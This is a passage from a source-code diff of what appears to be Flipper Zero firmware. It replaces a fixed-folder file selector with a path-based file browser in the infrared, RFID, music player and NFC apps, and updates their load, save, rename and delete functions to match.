InfraredApp::infrared_extension)) { + bool result = remote_manager.load(path); if(result) { current_scene = InfraredApp::Scene::Remote; } else { - printf("Failed to load remote \'%s\'\r\n", remote_name.c_str()); + printf("Failed to load remote \'%s\'\r\n", string_get_cstr(path)); return -1; } } + string_clear(path); } scenes[current_scene]->on_enter(this); @@ -51,6 +50,7 @@ int32_t InfraredApp::run(void* args) { InfraredApp::InfraredApp() { furi_check(InfraredAppRemoteManager::max_button_name_length < get_text_store_size()); + string_init_set_str(file_path, InfraredApp::infrared_directory); notification = static_cast(furi_record_open("notification")); dialogs = static_cast(furi_record_open("dialogs")); infrared_worker = infrared_worker_alloc(); @@ -60,6 +60,7 @@ InfraredApp::~InfraredApp() { infrared_worker_free(infrared_worker); furi_record_close("notification"); furi_record_close("dialogs"); + string_clear(file_path); for(auto& [key, scene] : scenes) delete scene; } diff --git a/applications/infrared/infrared_app.h b/applications/infrared/infrared_app.h index e0db7c51b..1cb8b6617 100644 --- a/applications/infrared/infrared_app.h +++ b/applications/infrared/infrared_app.h @@ -251,6 +251,8 @@ public: /** Main class destructor, deinitializes all critical objects */ ~InfraredApp(); + string_t file_path; + /** Path to Infrared directory */ static constexpr const char* infrared_directory = "/any/infrared"; /** Infrared files extension (remote files and universal databases) */ diff --git a/applications/infrared/infrared_app_remote_manager.cpp b/applications/infrared/infrared_app_remote_manager.cpp index 4fd645532..faeccb39e 100644 --- a/applications/infrared/infrared_app_remote_manager.cpp +++ b/applications/infrared/infrared_app_remote_manager.cpp @@ -1,3 +1,5 @@ +#include "m-string.h" +#include "storage/filesystem_api_defines.h" #include #include "infrared_app_remote_manager.h" #include "infrared/helpers/infrared_parser.h" @@ -11,44 +13,58 @@ #include #include #include "infrared_app.h" +#include static const char* default_remote_name = "remote"; -std::string InfraredAppRemoteManager::make_full_name( - const std::string& path, - const std::string& remote_name) const { - return std::string("") + path + "/" + remote_name + InfraredApp::infrared_extension; -} - -std::string InfraredAppRemoteManager::find_vacant_remote_name(const std::string& name) { - std::string result_name; +void InfraredAppRemoteManager::find_vacant_remote_name(string_t name, string_t path) { Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = storage_common_stat( - storage, make_full_name(InfraredApp::infrared_directory, name).c_str(), NULL); + string_t base_path; + string_init_set(base_path, path); - if(error == FSE_NOT_EXIST) { - result_name = name; - } else if(error != FSE_OK) { - result_name = std::string(); - } else { + if(string_end_with_str_p(base_path, InfraredApp::infrared_extension)) { + size_t filename_start = string_search_rchar(base_path, '/'); + string_left(base_path, filename_start); + } + + string_printf( + base_path, + "%s/%s%s", + string_get_cstr(path), + string_get_cstr(name), + InfraredApp::infrared_extension); + + FS_Error error = storage_common_stat(storage, string_get_cstr(base_path), NULL); + + if(error == FSE_OK) { /* if suggested name is occupied, try another one (name2, name3, etc) */ + size_t dot = string_search_rchar(base_path, '.'); + string_left(base_path, dot); + + string_t path_temp; + string_init(path_temp); + uint32_t i = 1; - std::string new_name; do { - new_name = make_full_name(InfraredApp::infrared_directory, name + std::to_string(++i)); - error = storage_common_stat(storage, new_name.c_str(), NULL); + string_printf( + path_temp, + "%s%u%s", + string_get_cstr(base_path), + ++i, + InfraredApp::infrared_extension); + error = storage_common_stat(storage, string_get_cstr(path_temp), NULL); } while(error == FSE_OK); + string_clear(path_temp); + if(error == FSE_NOT_EXIST) { - result_name = name + std::to_string(i); - } else { - result_name = std::string(); + string_cat_printf(name, "%u", i); } } + string_clear(base_path); furi_record_close("storage"); - return result_name; } bool InfraredAppRemoteManager::add_button(const char* button_name, const InfraredAppSignal& signal) { @@ -61,12 +77,23 @@ bool InfraredAppRemoteManager::add_remote_with_button( const InfraredAppSignal& signal) { furi_check(button_name != nullptr); - auto new_name = find_vacant_remote_name(default_remote_name); - if(new_name.empty()) { - return false; - } + string_t new_name; + string_init_set_str(new_name, default_remote_name); + + string_t new_path; + string_init_set_str(new_path, InfraredApp::infrared_directory); + + find_vacant_remote_name(new_name, new_path); + + string_cat_printf( + new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); + + remote = std::make_unique(new_path); + remote->name = std::string(string_get_cstr(new_name)); + + string_clear(new_path); + string_clear(new_name); - remote = std::make_unique(InfraredApp::infrared_directory, new_name); return add_button(button_name, signal); } @@ -93,8 +120,7 @@ const InfraredAppSignal& InfraredAppRemoteManager::get_button_data(size_t index) bool InfraredAppRemoteManager::delete_remote() { Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = - storage_common_remove(storage, make_full_name(remote->path, remote->name).c_str()); + FS_Error error = storage_common_remove(storage, string_get_cstr(remote->path)); reset_remote(); furi_record_close("storage"); @@ -128,22 +154,33 @@ std::string InfraredAppRemoteManager::get_remote_name() { bool InfraredAppRemoteManager::rename_remote(const char* str) { furi_check(str != nullptr); furi_check(remote.get() != nullptr); + furi_check(!string_empty_p(remote->path)); if(!remote->name.compare(str)) { return true; } - auto new_name = find_vacant_remote_name(str); - if(new_name.empty()) { - return false; + string_t new_name; + string_init_set_str(new_name, str); + find_vacant_remote_name(new_name, remote->path); + + string_t new_path; + string_init_set(new_path, remote->path); + if(string_end_with_str_p(new_path, InfraredApp::infrared_extension)) { + size_t filename_start = string_search_rchar(new_path, '/'); + string_left(new_path, filename_start); } + string_cat_printf( + new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); Storage* storage = static_cast(furi_record_open("storage")); - std::string old_filename = make_full_name(remote->path, remote->name); - std::string new_filename = make_full_name(remote->path, new_name); - FS_Error error = storage_common_rename(storage, old_filename.c_str(), new_filename.c_str()); - remote->name = new_name; + FS_Error error = + storage_common_rename(storage, string_get_cstr(remote->path), string_get_cstr(new_path)); + remote->name = std::string(string_get_cstr(new_name)); + + string_clear(new_name); + string_clear(new_path); furi_record_close("storage"); return (error == FSE_OK || error == FSE_EXIST); @@ -171,10 +208,8 @@ bool InfraredAppRemoteManager::store(void) { FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I( - "RemoteManager", "store file: \'%s\'", make_full_name(remote->path, remote->name).c_str()); - result = - flipper_format_file_open_always(ff, make_full_name(remote->path, remote->name).c_str()); + FURI_LOG_I("RemoteManager", "store file: \'%s\'", string_get_cstr(remote->path)); + result = flipper_format_file_open_always(ff, string_get_cstr(remote->path)); if(result) { result = flipper_format_write_header_cstr(ff, "IR signals file", 1); } @@ -192,13 +227,13 @@ bool InfraredAppRemoteManager::store(void) { return result; } -bool InfraredAppRemoteManager::load(const std::string& path, const std::string& remote_name) { +bool InfraredAppRemoteManager::load(string_t path) { bool result = false; Storage* storage = static_cast(furi_record_open("storage")); FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I("RemoteManager", "load file: \'%s\'", make_full_name(path, remote_name).c_str()); - result = flipper_format_file_open_existing(ff, make_full_name(path, remote_name).c_str()); + FURI_LOG_I("RemoteManager", "load file: \'%s\'", string_get_cstr(path)); + result = flipper_format_file_open_existing(ff, string_get_cstr(path)); if(result) { string_t header; string_init(header); @@ -210,7 +245,14 @@ bool InfraredAppRemoteManager::load(const std::string& path, const std::string& string_clear(header); } if(result) { - remote = std::make_unique(path, remote_name); + string_t new_name; + string_init(new_name); + + remote = std::make_unique(path); + path_extract_filename(path, new_name, true); + remote->name = std::string(string_get_cstr(new_name)); + + string_clear(new_name); InfraredAppSignal signal; std::string signal_name; while(infrared_parser_read_signal(ff, signal, signal_name)) { diff --git a/applications/infrared/infrared_app_remote_manager.h b/applications/infrared/infrared_app_remote_manager.h index 31557d54b..b6f0b170f 100644 --- a/applications/infrared/infrared_app_remote_manager.h +++ b/applications/infrared/infrared_app_remote_manager.h @@ -8,6 +8,7 @@ #include "infrared_app_signal.h" +#include "m-string.h" #include #include @@ -60,17 +61,19 @@ class InfraredAppRemote { /** Name of remote */ std::string name; /** Path to remote file */ - std::string path; + string_t path; public: /** Initialize new remote * * @param path - remote file path - * @param name - new remote name */ - InfraredAppRemote(const std::string& path, const std::string& name) - : name(name) - , path(path) { + InfraredAppRemote(string_t file_path) { + string_init_set(path, file_path); + } + + ~InfraredAppRemote() { + string_clear(path); } }; @@ -78,12 +81,6 @@ public: class InfraredAppRemoteManager { /** Remote instance. There can be 1 remote loaded at a time. */ std::unique_ptr remote; - /** Make full name from remote name - * - * @param remote_name name of remote - * @retval full name of remote on disk - */ - std::string make_full_name(const std::string& path, const std::string& remote_name) const; public: /** Restriction to button name length. Buttons larger are ignored. */ @@ -125,9 +122,9 @@ public: * incremented digit(2,3,4,etc) added to name and check repeated. * * @param name - suggested remote name - * @retval garanteed free remote name, prefixed with suggested + * @param path - remote file path */ - std::string find_vacant_remote_name(const std::string& name); + void find_vacant_remote_name(string_t name, string_t path); /** Get button list * @@ -185,8 +182,8 @@ public: /** Load data from disk into current remote * - * @param name - name of remote to load + * @param path - path to remote file * @retval true if success, false otherwise */ - bool load(const std::string& path, const std::string& name); + bool load(string_t path); }; diff --git a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp index dc63c64b1..761da49f3 100644 --- a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp +++ b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp @@ -1,4 +1,6 @@ #include "../infrared_app.h" +#include "m-string.h" +#include "toolbox/path.h" void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -21,9 +23,18 @@ void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { enter_name_length = InfraredAppRemoteManager::max_remote_name_length; text_input_set_header_text(text_input, "Name the remote"); + string_t folder_path; + string_init(folder_path); + + if(string_end_with_str_p(app->file_path, InfraredApp::infrared_extension)) { + path_extract_dirname(string_get_cstr(app->file_path), folder_path); + } + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - app->infrared_directory, app->infrared_extension, remote_name.c_str()); + string_get_cstr(folder_path), app->infrared_extension, remote_name.c_str()); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); + + string_clear(folder_path); } text_input_set_result_callback( diff --git a/applications/infrared/scene/infrared_app_scene_remote_list.cpp b/applications/infrared/scene/infrared_app_scene_remote_list.cpp index f59ff3e91..c72acb6e8 100644 --- a/applications/infrared/scene/infrared_app_scene_remote_list.cpp +++ b/applications/infrared/scene/infrared_app_scene_remote_list.cpp @@ -1,4 +1,5 @@ #include "../infrared_app.h" +#include "assets_icons.h" #include "infrared/infrared_app_event.h" #include @@ -8,11 +9,6 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { bool result = false; bool file_select_result; auto remote_manager = app->get_remote_manager(); - auto last_selected_remote = remote_manager->get_remote_name(); - const char* last_selected_remote_name = - last_selected_remote.size() ? last_selected_remote.c_str() : nullptr; - auto filename_ts = - std::make_unique(InfraredAppRemoteManager::max_remote_name_length); DialogsApp* dialogs = app->get_dialogs(); InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -20,16 +16,17 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { button_menu_reset(button_menu); view_manager->switch_to(InfraredAppViewManager::ViewId::ButtonMenu); - file_select_result = dialog_file_select_show( + file_select_result = dialog_file_browser_show( dialogs, - InfraredApp::infrared_directory, + app->file_path, + app->file_path, InfraredApp::infrared_extension, - filename_ts->text, - filename_ts->text_size, - last_selected_remote_name); + true, + &I_ir_10px, + true); if(file_select_result) { - if(remote_manager->load(InfraredApp::infrared_directory, std::string(filename_ts->text))) { + if(remote_manager->load(app->file_path)) { app->switch_to_next_scene(InfraredApp::Scene::Remote); result = true; } diff --git a/applications/infrared/scene/infrared_app_scene_start.cpp b/applications/infrared/scene/infrared_app_scene_start.cpp index c42ab9fed..5efdce7a0 100644 --- a/applications/infrared/scene/infrared_app_scene_start.cpp +++ b/applications/infrared/scene/infrared_app_scene_start.cpp @@ -26,6 +26,8 @@ void InfraredAppSceneStart::on_enter(InfraredApp* app) { submenu, "Learn New Remote", SubmenuIndexLearnNewRemote, submenu_callback, app); submenu_add_item(submenu, "Saved Remotes", SubmenuIndexSavedRemotes, submenu_callback, app); submenu_set_selected_item(submenu, submenu_item_selected); + + string_set_str(app->file_path, InfraredApp::infrared_directory); submenu_item_selected = 0; view_manager->switch_to(InfraredAppViewManager::ViewId::Submenu); diff --git a/applications/lfrfid/lfrfid_app.cpp b/applications/lfrfid/lfrfid_app.cpp index c2274234b..4027a07ea 100644 --- a/applications/lfrfid/lfrfid_app.cpp +++ b/applications/lfrfid/lfrfid_app.cpp @@ -1,4 +1,7 @@ #include "lfrfid_app.h" +#include "assets_icons.h" +#include "furi/common_defines.h" +#include "m-string.h" #include "scene/lfrfid_app_scene_start.h" #include "scene/lfrfid_app_scene_read.h" #include "scene/lfrfid_app_scene_read_success.h" @@ -31,9 +34,11 @@ LfRfidApp::LfRfidApp() , storage{"storage"} , dialogs{"dialogs"} , text_store(40) { + string_init_set_str(file_path, app_folder); } LfRfidApp::~LfRfidApp() { + string_clear(file_path); } void LfRfidApp::run(void* _args) { @@ -42,7 +47,8 @@ void LfRfidApp::run(void* _args) { make_app_folder(); if(strlen(args)) { - load_key_data(args, &worker.key); + string_set_str(file_path, args); + load_key_data(file_path, &worker.key); scene_controller.add_scene(SceneType::Emulate, new LfRfidAppSceneEmulate()); scene_controller.process(100, SceneType::Emulate); } else { @@ -69,65 +75,49 @@ void LfRfidApp::run(void* _args) { } bool LfRfidApp::save_key(RfidKey* key) { - string_t file_name; bool result = false; make_app_folder(); - string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); - result = save_key_data(string_get_cstr(file_name), key); - string_clear(file_name); + if(string_end_with_str_p(file_path, app_extension)) { + size_t filename_start = string_search_rchar(file_path, '/'); + string_left(file_path, filename_start); + } + string_cat_printf(file_path, "/%s%s", key->get_name(), app_extension); + + result = save_key_data(file_path, key); return result; } bool LfRfidApp::load_key_from_file_select(bool need_restore) { - TextStore* filename_ts = new TextStore(64); - bool result = false; - - if(need_restore) { - result = dialog_file_select_show( - dialogs, - app_folder, - app_extension, - filename_ts->text, - filename_ts->text_size, - worker.key.get_name()); - } else { - result = dialog_file_select_show( - dialogs, app_folder, app_extension, filename_ts->text, filename_ts->text_size, NULL); + if(!need_restore) { + string_set_str(file_path, app_folder); } + bool result = dialog_file_browser_show( + dialogs, file_path, file_path, app_extension, true, &I_125_10px, true); + if(result) { - string_t key_str; - string_init_printf(key_str, "%s/%s%s", app_folder, filename_ts->text, app_extension); - result = load_key_data(string_get_cstr(key_str), &worker.key); - string_clear(key_str); + result = load_key_data(file_path, &worker.key); } - delete filename_ts; return result; } bool LfRfidApp::delete_key(RfidKey* key) { - string_t file_name; - bool result = false; - - string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); - result = storage_simply_remove(storage, string_get_cstr(file_name)); - string_clear(file_name); - - return result; + UNUSED(key); + return storage_simply_remove(storage, string_get_cstr(file_path)); } -bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { +bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; string_t str_result; string_init(str_result); do { - if(!flipper_format_file_open_existing(file, path)) break; + if(!flipper_format_file_open_existing(file, string_get_cstr(path))) break; // header uint32_t version; @@ -149,7 +139,7 @@ bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { break; loaded_key.set_data(key_data, loaded_key.get_type_data_count()); - path_extract_filename_no_ext(path, str_result); + path_extract_filename(path, str_result, true); loaded_key.set_name(string_get_cstr(str_result)); *key = loaded_key; @@ -166,12 +156,12 @@ bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { return result; } -bool LfRfidApp::save_key_data(const char* path, RfidKey* key) { +bool LfRfidApp::save_key_data(string_t path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; do { - if(!flipper_format_file_open_always(file, path)) break; + if(!flipper_format_file_open_always(file, string_get_cstr(path))) break; if(!flipper_format_write_header_cstr(file, app_filetype, 1)) break; if(!flipper_format_write_comment_cstr(file, "Key type can be EM4100, H10301 or I40134")) break; diff --git a/applications/lfrfid/lfrfid_app.h b/applications/lfrfid/lfrfid_app.h index dddfb753a..3f8209a1d 100644 --- a/applications/lfrfid/lfrfid_app.h +++ b/applications/lfrfid/lfrfid_app.h @@ -1,4 +1,5 @@ #pragma once +#include "m-string.h" #include #include @@ -76,6 +77,8 @@ public: TextStore text_store; + string_t file_path; + void run(void* args); static const char* app_folder; @@ -86,8 +89,8 @@ public: bool load_key_from_file_select(bool need_restore); bool delete_key(RfidKey* key); - bool load_key_data(const char* path, RfidKey* key); - bool save_key_data(const char* path, RfidKey* key); + bool load_key_data(string_t path, RfidKey* key); + bool save_key_data(string_t path, RfidKey* key); void make_app_folder(); }; diff --git a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp index d460724e2..d7ba2c9ed 100644 --- a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp +++ b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp @@ -1,11 +1,14 @@ #include "lfrfid_app_scene_save_name.h" +#include "m-string.h" #include +#include void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { const char* key_name = app->worker.key.get_name(); bool key_name_empty = !strcmp(key_name, ""); if(key_name_empty) { + string_set_str(app->file_path, app->app_folder); set_random_name(app->text_store.text, app->text_store.text_size); } else { app->text_store.set("%s", key_name); @@ -21,10 +24,17 @@ void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { app->worker.key.get_name_length(), key_name_empty); + string_t folder_path; + string_init(folder_path); + + path_extract_dirname(string_get_cstr(app->file_path), folder_path); + ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(app->app_folder, app->app_extension, key_name); + validator_is_file_alloc_init(string_get_cstr(folder_path), app->app_extension, key_name); text_input->set_validator(validator_is_file_callback, validator_is_file); + string_clear(folder_path); + app->view_controller.switch_to(); } diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 6dfef4920..9b5dda0fa 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -1,3 +1,5 @@ +#include "assets_icons.h" +#include "m-string.h" #include #include @@ -298,23 +300,23 @@ int32_t music_player_app(void* p) { if(p) { string_cat_str(file_path, p); } else { - char file_name[256] = {0}; + string_set_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); + DialogsApp* dialogs = furi_record_open("dialogs"); - bool res = dialog_file_select_show( + bool res = dialog_file_browser_show( dialogs, - MUSIC_PLAYER_APP_PATH_FOLDER, + file_path, + file_path, MUSIC_PLAYER_APP_EXTENSION, - file_name, - 255, - NULL); + true, + &I_music_10px, + false); + furi_record_close("dialogs"); if(!res) { FURI_LOG_E(TAG, "No file selected"); break; } - string_cat_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); - string_cat_str(file_path, "/"); - string_cat_str(file_path, file_name); } if(!music_player_worker_load(music_player->worker, string_get_cstr(file_path))) { diff --git a/applications/nfc/nfc_device.c b/applications/nfc/nfc_device.c index 63f0c3ccb..51e14a6c1 100644 --- a/applications/nfc/nfc_device.c +++ b/applications/nfc/nfc_device.c @@ -1,4 +1,6 @@ #include "nfc_device.h" +#include "assets_icons.h" +#include "m-string.h" #include "nfc_types.h" #include @@ -14,6 +16,7 @@ NfcDevice* nfc_device_alloc() { NfcDevice* nfc_dev = malloc(sizeof(NfcDevice)); nfc_dev->storage = furi_record_open("storage"); nfc_dev->dialogs = furi_record_open("dialogs"); + string_init(nfc_dev->load_path); return nfc_dev; } @@ -22,6 +25,7 @@ void nfc_device_free(NfcDevice* nfc_dev) { nfc_device_clear(nfc_dev); furi_record_close("storage"); furi_record_close("dialogs"); + string_clear(nfc_dev->load_path); free(nfc_dev); } @@ -730,11 +734,24 @@ void nfc_device_set_name(NfcDevice* dev, const char* name) { strlcpy(dev->dev_name, name, NFC_DEV_NAME_MAX_LEN); } +static void nfc_device_get_path_without_ext(string_t orig_path, string_t shadow_path) { + // TODO: this won't work if there is ".nfc" anywhere in the path other than + // at the end + size_t ext_start = string_search_str(orig_path, NFC_APP_EXTENSION); + string_set_n(shadow_path, orig_path, 0, ext_start); +} + +static void nfc_device_get_shadow_path(string_t orig_path, string_t shadow_path) { + nfc_device_get_path_without_ext(orig_path, shadow_path); + string_cat_printf(shadow_path, "%s", NFC_APP_SHADOW_EXTENSION); +} + static bool nfc_device_save_file( NfcDevice* dev, const char* dev_name, const char* folder, - const char* extension) { + const char* extension, + bool use_load_path) { furi_assert(dev); bool saved = false; @@ -744,10 +761,19 @@ static bool nfc_device_save_file( string_init(temp_str); do { - // Create nfc directory if necessary - if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; - // First remove nfc device file if it was saved - string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); + if(use_load_path && !string_empty_p(dev->load_path)) { + // Get directory name + path_extract_dirname(string_get_cstr(dev->load_path), temp_str); + // Create nfc directory if necessary + if(!storage_simply_mkdir(dev->storage, string_get_cstr(temp_str))) break; + // Make path to file to save + string_cat_printf(temp_str, "/%s%s", dev_name, extension); + } else { + // Create nfc directory if necessary + if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; + // First remove nfc device file if it was saved + string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); + } // Open file if(!flipper_format_file_open_always(file, string_get_cstr(temp_str))) break; // Write header @@ -786,12 +812,12 @@ static bool nfc_device_save_file( } bool nfc_device_save(NfcDevice* dev, const char* dev_name) { - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION, true); } bool nfc_device_save_shadow(NfcDevice* dev, const char* dev_name) { dev->shadow_file_exist = true; - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION, true); } static bool nfc_device_load_data(NfcDevice* dev, string_t path) { @@ -805,9 +831,7 @@ static bool nfc_device_load_data(NfcDevice* dev, string_t path) { do { // Check existance of shadow file - size_t ext_start = string_search_str(path, NFC_APP_EXTENSION); - string_set_n(temp_str, path, 0, ext_start); - string_cat_printf(temp_str, "%s", NFC_APP_SHADOW_EXTENSION); + nfc_device_get_shadow_path(path, temp_str); dev->shadow_file_exist = storage_common_stat(dev->storage, string_get_cstr(temp_str), NULL) == FSE_OK; // Open shadow file if it exists. If not - open original @@ -864,15 +888,16 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { furi_assert(file_path); // Load device data - string_t path; - string_init_set_str(path, file_path); - bool dev_load = nfc_device_load_data(dev, path); + string_set_str(dev->load_path, file_path); + bool dev_load = nfc_device_load_data(dev, dev->load_path); if(dev_load) { // Set device name - path_extract_filename_no_ext(file_path, path); - nfc_device_set_name(dev, string_get_cstr(path)); + string_t filename; + string_init(filename); + path_extract_filename_no_ext(file_path, filename); + nfc_device_set_name(dev, string_get_cstr(filename)); + string_clear(filename); } - string_clear(path); return dev_load; } @@ -880,23 +905,22 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { bool nfc_file_select(NfcDevice* dev) { furi_assert(dev); - // Input events and views are managed by file_select - bool res = dialog_file_select_show( - dev->dialogs, - NFC_APP_FOLDER, - NFC_APP_EXTENSION, - dev->file_name, - sizeof(dev->file_name), - dev->dev_name); + // Input events and views are managed by file_browser + string_t nfc_app_folder; + string_init_set_str(nfc_app_folder, NFC_APP_FOLDER); + bool res = dialog_file_browser_show( + dev->dialogs, dev->load_path, nfc_app_folder, NFC_APP_EXTENSION, true, &I_Nfc_10px, true); + string_clear(nfc_app_folder); if(res) { - string_t dev_str; - // Get key file path - string_init_printf(dev_str, "%s/%s%s", NFC_APP_FOLDER, dev->file_name, NFC_APP_EXTENSION); - res = nfc_device_load_data(dev, dev_str); + string_t filename; + string_init(filename); + path_extract_filename(dev->load_path, filename, true); + strncpy(dev->dev_name, string_get_cstr(filename), NFC_DEV_NAME_MAX_LEN); + res = nfc_device_load_data(dev, dev->load_path); if(res) { - nfc_device_set_name(dev, dev->file_name); + nfc_device_set_name(dev, dev->dev_name); } - string_clear(dev_str); + string_clear(filename); } return res; @@ -914,9 +938,10 @@ void nfc_device_clear(NfcDevice* dev) { nfc_device_data_clear(&dev->dev_data); memset(&dev->dev_data, 0, sizeof(dev->dev_data)); dev->format = NfcDeviceSaveFormatUid; + string_reset(dev->load_path); } -bool nfc_device_delete(NfcDevice* dev) { +bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { furi_assert(dev); bool deleted = false; @@ -925,12 +950,20 @@ bool nfc_device_delete(NfcDevice* dev) { do { // Delete original file - string_init_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + string_set(file_path, dev->load_path); + } else { + string_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + } if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; // Delete shadow file if it exists if(dev->shadow_file_exist) { - string_printf( - file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + nfc_device_get_shadow_path(dev->load_path, file_path); + } else { + string_printf( + file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + } if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; } deleted = true; @@ -944,19 +977,29 @@ bool nfc_device_delete(NfcDevice* dev) { return deleted; } -bool nfc_device_restore(NfcDevice* dev) { +bool nfc_device_restore(NfcDevice* dev, bool use_load_path) { furi_assert(dev); furi_assert(dev->shadow_file_exist); bool restored = false; string_t path; + string_init(path); + do { - string_init_printf( - path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + nfc_device_get_shadow_path(dev->load_path, path); + } else { + string_printf( + path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + } if(!storage_simply_remove(dev->storage, string_get_cstr(path))) break; dev->shadow_file_exist = false; - string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + string_set(path, dev->load_path); + } else { + string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + } if(!nfc_device_load_data(dev, path)) break; restored = true; } while(0); diff --git a/applications/nfc/nfc_device.h b/applications/nfc/nfc_device.h index 215f637fa..400f6c363 100644 --- a/applications/nfc/nfc_device.h +++ b/applications/nfc/nfc_device.h @@ -12,7 +12,6 @@ #include #define NFC_DEV_NAME_MAX_LEN 22 -#define NFC_FILE_NAME_MAX_LEN 120 #define NFC_READER_DATA_MAX_SIZE 64 #define NFC_APP_FOLDER "/any/nfc" @@ -57,7 +56,7 @@ typedef struct { DialogsApp* dialogs; NfcDeviceData dev_data; char dev_name[NFC_DEV_NAME_MAX_LEN + 1]; - char file_name[NFC_FILE_NAME_MAX_LEN]; + string_t load_path; NfcDeviceSaveFormat format; bool shadow_file_exist; } NfcDevice; @@ -80,6 +79,6 @@ void nfc_device_data_clear(NfcDeviceData* dev); void nfc_device_clear(NfcDevice* dev); -bool nfc_device_delete(NfcDevice* dev); +bool nfc_device_delete(NfcDevice* dev, bool use_load_path); -bool nfc_device_restore(NfcDevice* dev); +bool nfc_device_restore(NfcDevice* dev, bool use_load_path); diff --git a/applications/nfc/scenes/nfc_scene_delete.c b/applications/nfc/scenes/nfc_scene_delete.c index e8ba3e440..1946b9290 100755 --- a/applications/nfc/scenes/nfc_scene_delete.c +++ b/applications/nfc/scenes/nfc_scene_delete.c @@ -73,7 +73,7 @@ bool nfc_scene_delete_on_event(void* context, SceneManagerEvent event) { if(event.event == GuiButtonTypeLeft) { return scene_manager_previous_scene(nfc->scene_manager); } else if(event.event == GuiButtonTypeRight) { - if(nfc_device_delete(nfc->dev)) { + if(nfc_device_delete(nfc->dev, true)) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeleteSuccess); } else { scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_save_name.c b/applications/nfc/scenes/nfc_scene_save_name.c old mode 100755 new mode 100644 index e95c97eb4..d5e05472a --- a/applications/nfc/scenes/nfc_scene_save_name.c +++ b/applications/nfc/scenes/nfc_scene_save_name.c @@ -1,6 +1,8 @@ #include "../nfc_i.h" +#include "m-string.h" #include #include +#include void nfc_scene_save_name_text_input_callback(void* context) { Nfc* nfc = context; @@ -29,11 +31,22 @@ void nfc_scene_save_name_on_enter(void* context) { NFC_DEV_NAME_MAX_LEN, dev_name_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(NFC_APP_FOLDER, NFC_APP_EXTENSION, nfc->dev->dev_name); + string_t folder_path; + string_init(folder_path); + + if(string_end_with_str_p(nfc->dev->load_path, NFC_APP_EXTENSION)) { + path_extract_dirname(string_get_cstr(nfc->dev->load_path), folder_path); + } else { + string_set_str(folder_path, NFC_APP_FOLDER); + } + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(folder_path), NFC_APP_EXTENSION, nfc->dev->dev_name); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(nfc->view_dispatcher, 